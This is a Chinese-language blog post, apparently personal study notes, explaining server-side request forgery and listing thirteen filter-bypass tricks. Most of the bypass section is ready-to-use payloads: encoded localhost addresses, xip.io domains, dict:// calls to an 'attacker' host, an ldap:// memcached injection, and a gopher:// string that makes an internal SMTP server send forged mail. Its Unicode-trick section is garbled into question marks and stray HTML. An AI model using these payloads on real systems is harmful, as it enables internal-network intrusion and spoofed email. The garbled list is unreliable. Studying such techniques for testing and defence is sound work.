前言
昨天忘了在公眾號還是微博上看到的了,看到一個SSRF繞過的技巧,使用的是
???????.???
繞過的,自己也沒遇到過。然后想想自己對SSRF繞過還是停留在之前的了解,也沒學習過新的繞過方法,所以特意找了找資料,學習學習最新黑科技,充充能。
0x00 SSRF是什么
能精簡的就不扯淡,一句話就是:利用一個可以發起網絡請求的服務當作跳板來攻擊內部其他服務。
0x01 SSRF能干什么
- 探測內網信息
- 攻擊內網或本地其他服務
- 穿透防火墻
- 。。。
0x02 SSRF怎么找
- 能夠對外發起網絡請求的地方
- 請求遠程服務器資源的地方
- 數據庫內置功能
- 郵件系統
- 文件處理
- 在線處理工具
- 。。。
舉幾個例子:
- 在線識圖,在線文檔翻譯,分享,訂閱等,這些有的都會發起網絡請求。
- 根據遠程URL上傳,靜態資源圖片等,這些會請求遠程服務器的資源。
- 數據庫的比如mongodb的copyDatabase函數,這點看豬豬俠講的吧,沒實踐過。
- 郵件系統就是接收郵件服務器地址這些地方。
- 文件就找ImageMagick,xml這些。
- 從URL關鍵字中尋找,比如:source,share,link,src,imageurl,target等。
以上這些不是本文的重點,下面說下重點介紹的SSRF繞過的方法。
0x03 SSRF怎么繞
1、攻擊本地
http://127.0.0.1:80
http://localhost:22
2、利用[::]
利用[::]繞過localhost
http://[::]:80/ >>> http://127.0.0.1
也有看到利用http://0000::1:80/的,但是我測試未成功
3、利用@
http://example.com@127.0.0.1
4、利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
5、利用特殊域名
利用的原理是DNS解析
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
6、利用DNS解析
在域名上設置A記錄,指向127.0.1
7、利用上傳
也不一定是上傳,我也說不清,自己體會 -.-
修改"type=file"為"type=url"
比如:
上傳圖片處修改上傳,將圖片文件修改為URL,即可能觸發SSRF
8、利用Enclosed alphanumerics
`利用Enclosed alphanumerics`
`???????.??? >>> example.com`
`List``:`
`① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ? `
`⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ `
`⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ `
`? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ? ? <img` `class``=``"emoji"`
`draggable``=``"false"`
`alt``=``"
"`
`src``=``"https://s.w.org/images/core/emoji/72x72/24c2.png"``> ? ? ? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ?`
9、利用句號
127。0。0。1 >>> 127.0.0.1
10、利用進制轉換
可以是十六進制,八進制等。
115.239.210.26 >>> 16373751032
首先把這四段數字給分別轉成16進制,結果:73 ef d2 1a
然后把 73efd21a 這十六進制一起轉換成8進制
記得訪問的時候加0表示使用八進制(可以是一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣),十六進制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
11、利用特殊地址
http://0/
12、利用協議
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
13、使用組合
各種繞過進行自由組合即可
參考鏈接:
- https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
- https://twitter.com/albinowax/status/890725759861403648
- http://blog.safebuff.com/2016/07/03/SSRF-Tips/
- https://hackerone.com/reports/115748
- https://www.dailysecurity.fr/server-side-request-forgery/
- https://twitter.com/EdOverflow
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection
- http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf
- http://byd.dropsec.xyz/2017/06/04/SSRF%E6%BC%8F%E6%B4%9E%E5%89%96%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
- http://blog.csdn.net/xinianbuxiu/article/details/53560417